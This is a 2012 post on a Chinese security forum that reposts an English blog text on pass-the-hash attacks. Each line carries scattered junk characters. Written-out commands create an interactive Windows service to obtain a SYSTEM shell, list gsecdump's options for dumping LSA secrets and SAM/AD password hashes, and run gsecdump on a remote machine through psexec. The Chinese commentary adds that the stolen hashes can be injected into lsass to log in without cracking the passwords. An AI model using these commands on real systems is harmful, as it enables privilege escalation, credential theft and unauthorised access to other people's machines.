找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2491|回复: 0
打印 上一主题 下一主题

HASH注入式攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:09:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
o get a DOS Prompt as NT system:
0 V& s; K2 o2 P: o, P% s; F' ?& |6 r
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact! u# z% E2 E0 [1 k! m, }
[SC] CreateService SUCCESS! w, w$ @: p1 d  t9 J) O

# b% x& @' Q& b/ JC:\>sc start shellcmdline$ n. D* p, X: A2 T
[SC] StartService FAILED 1053:
9 T* k( ]* Z$ L/ H# O, \8 g$ t( f8 S7 S! q$ e: T: A
The service did not respond to the start or control request in a timely fashion.
9 o  B7 ]/ C9 Y% a+ z9 Q, H; O' u7 j) H1 N
C:\>sc delete shellcmdline0 d* {$ M9 ]2 H; o
[SC] DeleteService SUCCESS, L. M  I* g, w  v( l; e: T# L9 ]

3 ?5 E* V1 r8 @, n$ a7 l------------
" B* D6 |, n) h. ]5 p9 x" q( I
$ c4 ~  z5 q8 t+ i" L; t+ `Then in the new DOS window:7 t% S0 @% T" Q7 W2 `8 {0 C$ o5 [% b
* h, L) `3 ^5 `. `
Microsoft Windows XP [Version 5.1.2600]
- a$ T8 U! U4 m  H(C) Copyright 1985-2001 Microsoft Corp.
- X- c( c6 A/ R& C1 A' j8 ~  j! T; p+ U% G7 _" d
C:\WINDOWS\system32>whoami; ?) {2 Z9 [+ S
NT AUTHORITY\SYSTEM
* ^5 G/ c9 N6 w& x7 s/ k
" c. ^* Q7 Z+ n# a1 \: A  cC:\WINDOWS\system32>gsecdump -h
, a. y2 l$ m! sgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)2 p: S+ [; R5 q
usage: gsecdump [options]
; k: U3 @8 Z" K
5 G; ^. t* @" A0 Hoptions:
: b4 q9 |$ x/ X2 k-h [ --help ] show help
- @2 A3 v$ y* d, {; A" J( `6 y; Z-a [ --dump_all ] dump all secrets
4 V9 K7 s5 O  j# ]5 s-l [ --dump_lsa ] dump lsa secrets
* O2 |- Q, G! R1 u* ~+ T-w [ --dump_wireless ] dump microsoft wireless connections) \7 \- B( ]  I- ?* r  b$ d
-u [ --dump_usedhashes ] dump hashes from active logon sessions
5 _2 H2 m8 n% w-s [ --dump_hashes ] dump hashes from SAM/AD) a( S4 x" B" `' a% J

# S# R% ]7 k+ R7 [- ^& {Although I like to use:2 ^. T7 Z/ H* |$ t( i9 E
% `% m6 q4 A, J' q2 a0 n# l
PsExec v1.83 - Execute processes remotely
; v1 m5 Y, |3 dCopyright (C) 2001-2007 Mark Russinovich! T2 o9 P. B+ [9 N' {. O# b
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
6 l; l) R2 u9 f) C% `
: M0 J5 G  @3 C( QC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT$ t8 v- C8 U8 O+ V! K4 f% [/ D3 n7 d

: P; e1 Z, k) _+ Sto get the hashes from active logon sessions of a remote system.
/ h9 }0 G: z" G9 Y
' B- x  _! v3 ]4 V6 UThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
( {) ]% ?+ ?  {  b: u# i) a# B2 f. e. A1 G8 H
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了., ?& `8 e+ Q8 ^8 H, N
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
" O8 V7 U0 `7 Z- l1 b) f4 Y/ f3 r# A) ~5 `* x9 D% [' P; }
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
0 n2 o1 D: }* V4 H) t  T% \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表